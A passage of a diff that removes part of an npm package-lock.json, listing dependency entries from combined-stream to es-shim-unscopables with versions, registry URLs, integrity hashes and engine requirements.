- "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
- },
- "node_modules/combined-stream": {
- "version": "1.0.8",
- "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
- "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
- "license": "MIT",
- "dependencies": {
- "delayed-stream": "~1.0.0"
- },
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/comma-separated-tokens": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz",
- "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/commander": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
- "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/concat-map": {
- "version": "0.0.1",
- "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
- "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="
- },
- "node_modules/consola": {
- "version": "3.4.2",
- "resolved": "https://registry.npmjs.org/consola/-/consola-3.4.2.tgz",
- "integrity": "sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==",
- "license": "MIT",
- "engines": {
- "node": "^14.18.0 || >=16.10.0"
- }
- },
- "node_modules/copy-to-clipboard": {
- "version": "3.3.3",
- "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.3.3.tgz",
- "integrity": "sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA==",
- "license": "MIT",
- "dependencies": {
- "toggle-selection": "^1.0.6"
- }
- },
- "node_modules/core-js-pure": {
- "version": "3.46.0",
- "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.46.0.tgz",
- "integrity": "sha512-NMCW30bHNofuhwLhYPt66OLOKTMbOhgTTatKVbaQC3KRHpTCiRIBYvtshr+NBYSnBxwAFhjW/RfJ0XbIjS16rw==",
- "hasInstallScript": true,
- "license": "MIT",
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/core-js"
- }
- },
- "node_modules/cross-spawn": {
- "version": "7.0.6",
- "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
- "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
- "dependencies": {
- "path-key": "^3.1.0",
- "shebang-command": "^2.0.0",
- "which": "^2.0.1"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/css.escape": {
- "version": "1.5.1",
- "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz",
- "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==",
- "license": "MIT"
- },
- "node_modules/cssesc": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
- "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
- "bin": {
- "cssesc": "bin/cssesc"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/csstype": {
- "version": "3.1.3",
- "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz",
- "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="
- },
- "node_modules/d3-array": {
- "version": "3.2.4",
- "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz",
- "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==",
- "dependencies": {
- "internmap": "1 - 2"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/d3-color": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz",
- "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==",
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/d3-ease": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz",
- "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==",
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/d3-format": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz",
- "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==",
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/d3-interpolate": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz",
- "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==",
- "dependencies": {
- "d3-color": "1 - 3"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/d3-path": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz",
- "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==",
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/d3-scale": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz",
- "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==",
- "dependencies": {
- "d3-array": "2.10.0 - 3",
- "d3-format": "1 - 3",
- "d3-interpolate": "1.2.0 - 3",
- "d3-time": "2.1.1 - 3",
- "d3-time-format": "2 - 4"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/d3-shape": {
- "version": "3.2.0",
- "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz",
- "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==",
- "dependencies": {
- "d3-path": "^3.1.0"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/d3-time": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz",
- "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==",
- "dependencies": {
- "d3-array": "2 - 3"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/d3-time-format": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz",
- "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==",
- "dependencies": {
- "d3-time": "1 - 3"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/d3-timer": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz",
- "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==",
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/damerau-levenshtein": {
- "version": "1.0.8",
- "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz",
- "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="
- },
- "node_modules/data-view-buffer": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.1.tgz",
- "integrity": "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA==",
- "dependencies": {
- "call-bind": "^1.0.6",
- "es-errors": "^1.3.0",
- "is-data-view": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/data-view-byte-length": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.1.tgz",
- "integrity": "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "es-errors": "^1.3.0",
- "is-data-view": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/data-view-byte-offset": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.0.tgz",
- "integrity": "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA==",
- "dependencies": {
- "call-bind": "^1.0.6",
- "es-errors": "^1.3.0",
- "is-data-view": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/date-fns": {
- "version": "3.6.0",
- "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-3.6.0.tgz",
- "integrity": "sha512-fRHTG8g/Gif+kSh50gaGEdToemgfj74aRX3swtiouboip5JDLAyDE9F11nHMIcvOaXeOC6D7SpNhi7uFyB7Uww==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/kossnocorp"
- }
- },
- "node_modules/debug": {
- "version": "4.4.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.0.tgz",
- "integrity": "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==",
- "dependencies": {
- "ms": "^2.1.3"
- },
- "engines": {
- "node": ">=6.0"
- },
- "peerDependenciesMeta": {
- "supports-color": {
- "optional": true
- }
- }
- },
- "node_modules/decamelize": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz",
- "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/decimal.js-light": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz",
- "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg=="
- },
- "node_modules/decode-named-character-reference": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.0.2.tgz",
- "integrity": "sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==",
- "dependencies": {
- "character-entities": "^2.0.0"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/deep-extend": {
- "version": "0.6.0",
- "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
- "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==",
- "license": "MIT",
- "engines": {
- "node": ">=4.0.0"
- }
- },
- "node_modules/deep-is": {
- "version": "0.1.4",
- "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
- "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ=="
- },
- "node_modules/deepmerge": {
- "version": "4.3.1",
- "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz",
- "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/define-data-property": {
- "version": "1.1.4",
- "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
- "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
- "dependencies": {
- "es-define-property": "^1.0.0",
- "es-errors": "^1.3.0",
- "gopd": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/define-properties": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz",
- "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==",
- "dependencies": {
- "define-data-property": "^1.0.1",
- "has-property-descriptors": "^1.0.0",
- "object-keys": "^1.1.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/delayed-stream": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
- "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
- "license": "MIT",
- "engines": {
- "node": ">=0.4.0"
- }
- },
- "node_modules/dequal": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz",
- "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/detect-libc": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
- "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==",
- "license": "Apache-2.0",
- "optional": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/detect-node-es": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz",
- "integrity": "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ=="
- },
- "node_modules/devlop": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz",
- "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==",
- "dependencies": {
- "dequal": "^2.0.0"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/didyoumean": {
- "version": "1.2.2",
- "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
- "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="
- },
- "node_modules/dir-glob": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
- "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
- "dependencies": {
- "path-type": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/dlv": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
- "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="
- },
- "node_modules/doctrine": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
- "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
- "dependencies": {
- "esutils": "^2.0.2"
- },
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/dom-helpers": {
- "version": "5.2.1",
- "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz",
- "integrity": "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==",
- "dependencies": {
- "@babel/runtime": "^7.8.7",
- "csstype": "^3.0.2"
- }
- },
- "node_modules/dompurify": {
- "version": "3.2.6",
- "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.2.6.tgz",
- "integrity": "sha512-/2GogDQlohXPZe6D6NOgQvXLPSYBqIWMnZ8zzOhn09REE4eyAzb+Hed3jhoM9OkuaJ8P6ZGTTVWQKAi8ieIzfQ==",
- "license": "(MPL-2.0 OR Apache-2.0)",
- "optionalDependencies": {
- "@types/trusted-types": "^2.0.7"
- }
- },
- "node_modules/drange": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/drange/-/drange-1.1.1.tgz",
- "integrity": "sha512-pYxfDYpued//QpnLIm4Avk7rsNtAtQkUES2cwAYSvD/wd2pKD71gN2Ebj3e7klzXwjocvE8c5vx/1fxwpqmSxA==",
- "license": "MIT",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/dunder-proto": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
- "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
- "license": "MIT",
- "dependencies": {
- "call-bind-apply-helpers": "^1.0.1",
- "es-errors": "^1.3.0",
- "gopd": "^1.2.0"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/eastasianwidth": {
- "version": "0.2.0",
- "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz",
- "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="
- },
- "node_modules/electron-to-chromium": {
- "version": "1.5.73",
- "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.73.tgz",
- "integrity": "sha512-8wGNxG9tAG5KhGd3eeA0o6ixhiNdgr0DcHWm85XPCphwZgD1lIEoi6t3VERayWao7SF7AAZTw6oARGJeVjH8Kg=="
- },
- "node_modules/embla-carousel": {
- "version": "8.5.1",
- "resolved": "https://registry.npmjs.org/embla-carousel/-/embla-carousel-8.5.1.tgz",
- "integrity": "sha512-JUb5+FOHobSiWQ2EJNaueCNT/cQU9L6XWBbWmorWPQT9bkbk+fhsuLr8wWrzXKagO3oWszBO7MSx+GfaRk4E6A=="
- },
- "node_modules/embla-carousel-react": {
- "version": "8.5.1",
- "resolved": "https://registry.npmjs.org/embla-carousel-react/-/embla-carousel-react-8.5.1.tgz",
- "integrity": "sha512-z9Y0K84BJvhChXgqn2CFYbfEi6AwEr+FFVVKm/MqbTQ2zIzO1VQri6w67LcfpVF0AjbhwVMywDZqY4alYkjW5w==",
- "dependencies": {
- "embla-carousel": "8.5.1",
- "embla-carousel-reactive-utils": "8.5.1"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.1 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc"
- }
- },
- "node_modules/embla-carousel-reactive-utils": {
- "version": "8.5.1",
- "resolved": "https://registry.npmjs.org/embla-carousel-reactive-utils/-/embla-carousel-reactive-utils-8.5.1.tgz",
- "integrity": "sha512-n7VSoGIiiDIc4MfXF3ZRTO59KDp820QDuyBDGlt5/65+lumPHxX2JLz0EZ23hZ4eg4vZGUXwMkYv02fw2JVo/A==",
- "peerDependencies": {
- "embla-carousel": "8.5.1"
- }
- },
- "node_modules/emoji-regex": {
- "version": "9.2.2",
- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
- "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="
- },
- "node_modules/enhanced-resolve": {
- "version": "5.17.1",
- "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz",
- "integrity": "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==",
- "dependencies": {
- "graceful-fs": "^4.2.4",
- "tapable": "^2.2.0"
- },
- "engines": {
- "node": ">=10.13.0"
- }
- },
- "node_modules/entities": {
- "version": "4.5.0",
- "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz",
- "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==",
- "engines": {
- "node": ">=0.12"
- },
- "funding": {
- "url": "https://github.com/fb55/entities?sponsor=1"
- }
- },
- "node_modules/es-abstract": {
- "version": "1.23.5",
- "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.23.5.tgz",
- "integrity": "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ==",
- "dependencies": {
- "array-buffer-byte-length": "^1.0.1",
- "arraybuffer.prototype.slice": "^1.0.3",
- "available-typed-arrays": "^1.0.7",
- "call-bind": "^1.0.7",
- "data-view-buffer": "^1.0.1",
- "data-view-byte-length": "^1.0.1",
- "data-view-byte-offset": "^1.0.0",
- "es-define-property": "^1.0.0",
- "es-errors": "^1.3.0",
- "es-object-atoms": "^1.0.0",
- "es-set-tostringtag": "^2.0.3",
- "es-to-primitive": "^1.2.1",
- "function.prototype.name": "^1.1.6",
- "get-intrinsic": "^1.2.4",
- "get-symbol-description": "^1.0.2",
- "globalthis": "^1.0.4",
- "gopd": "^1.0.1",
- "has-property-descriptors": "^1.0.2",
- "has-proto": "^1.0.3",
- "has-symbols": "^1.0.3",
- "hasown": "^2.0.2",
- "internal-slot": "^1.0.7",
- "is-array-buffer": "^3.0.4",
- "is-callable": "^1.2.7",
- "is-data-view": "^1.0.1",
- "is-negative-zero": "^2.0.3",
- "is-regex": "^1.1.4",
- "is-shared-array-buffer": "^1.0.3",
- "is-string": "^1.0.7",
- "is-typed-array": "^1.1.13",
- "is-weakref": "^1.0.2",
- "object-inspect": "^1.13.3",
- "object-keys": "^1.1.1",
- "object.assign": "^4.1.5",
- "regexp.prototype.flags": "^1.5.3",
- "safe-array-concat": "^1.1.2",
- "safe-regex-test": "^1.0.3",
- "string.prototype.trim": "^1.2.9",
- "string.prototype.trimend": "^1.0.8",
- "string.prototype.trimstart": "^1.0.8",
- "typed-array-buffer": "^1.0.2",
- "typed-array-byte-length": "^1.0.1",
- "typed-array-byte-offset": "^1.0.2",
- "typed-array-length": "^1.0.6",
- "unbox-primitive": "^1.0.2",
- "which-typed-array": "^1.1.15"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/es-define-property": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
- "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/es-errors": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
- "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/es-iterator-helpers": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.2.0.tgz",
- "integrity": "sha512-tpxqxncxnpw3c93u8n3VOzACmRFoVmWJqbWXvX/JfKbkhBw1oslgPrUfeSt2psuqyEJFD6N/9lg5i7bsKpoq+Q==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.3",
- "es-errors": "^1.3.0",
- "es-set-tostringtag": "^2.0.3",
- "function-bind": "^1.1.2",
- "get-intrinsic": "^1.2.4",
- "globalthis": "^1.0.4",
- "gopd": "^1.0.1",
- "has-property-descriptors": "^1.0.2",
- "has-proto": "^1.0.3",
- "has-symbols": "^1.0.3",
- "internal-slot": "^1.0.7",
- "iterator.prototype": "^1.1.3",
- "safe-array-concat": "^1.1.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/es-object-atoms": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
- "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==",
- "license": "MIT",
- "dependencies": {
- "es-errors": "^1.3.0"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/es-set-tostringtag": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz",
- "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==",
- "license": "MIT",
- "dependencies": {
- "es-errors": "^1.3.0",
- "get-intrinsic": "^1.2.6",
- "has-tostringtag": "^1.0.2",
- "hasown": "^2.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/es-shim-unscopables": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.2.tgz",
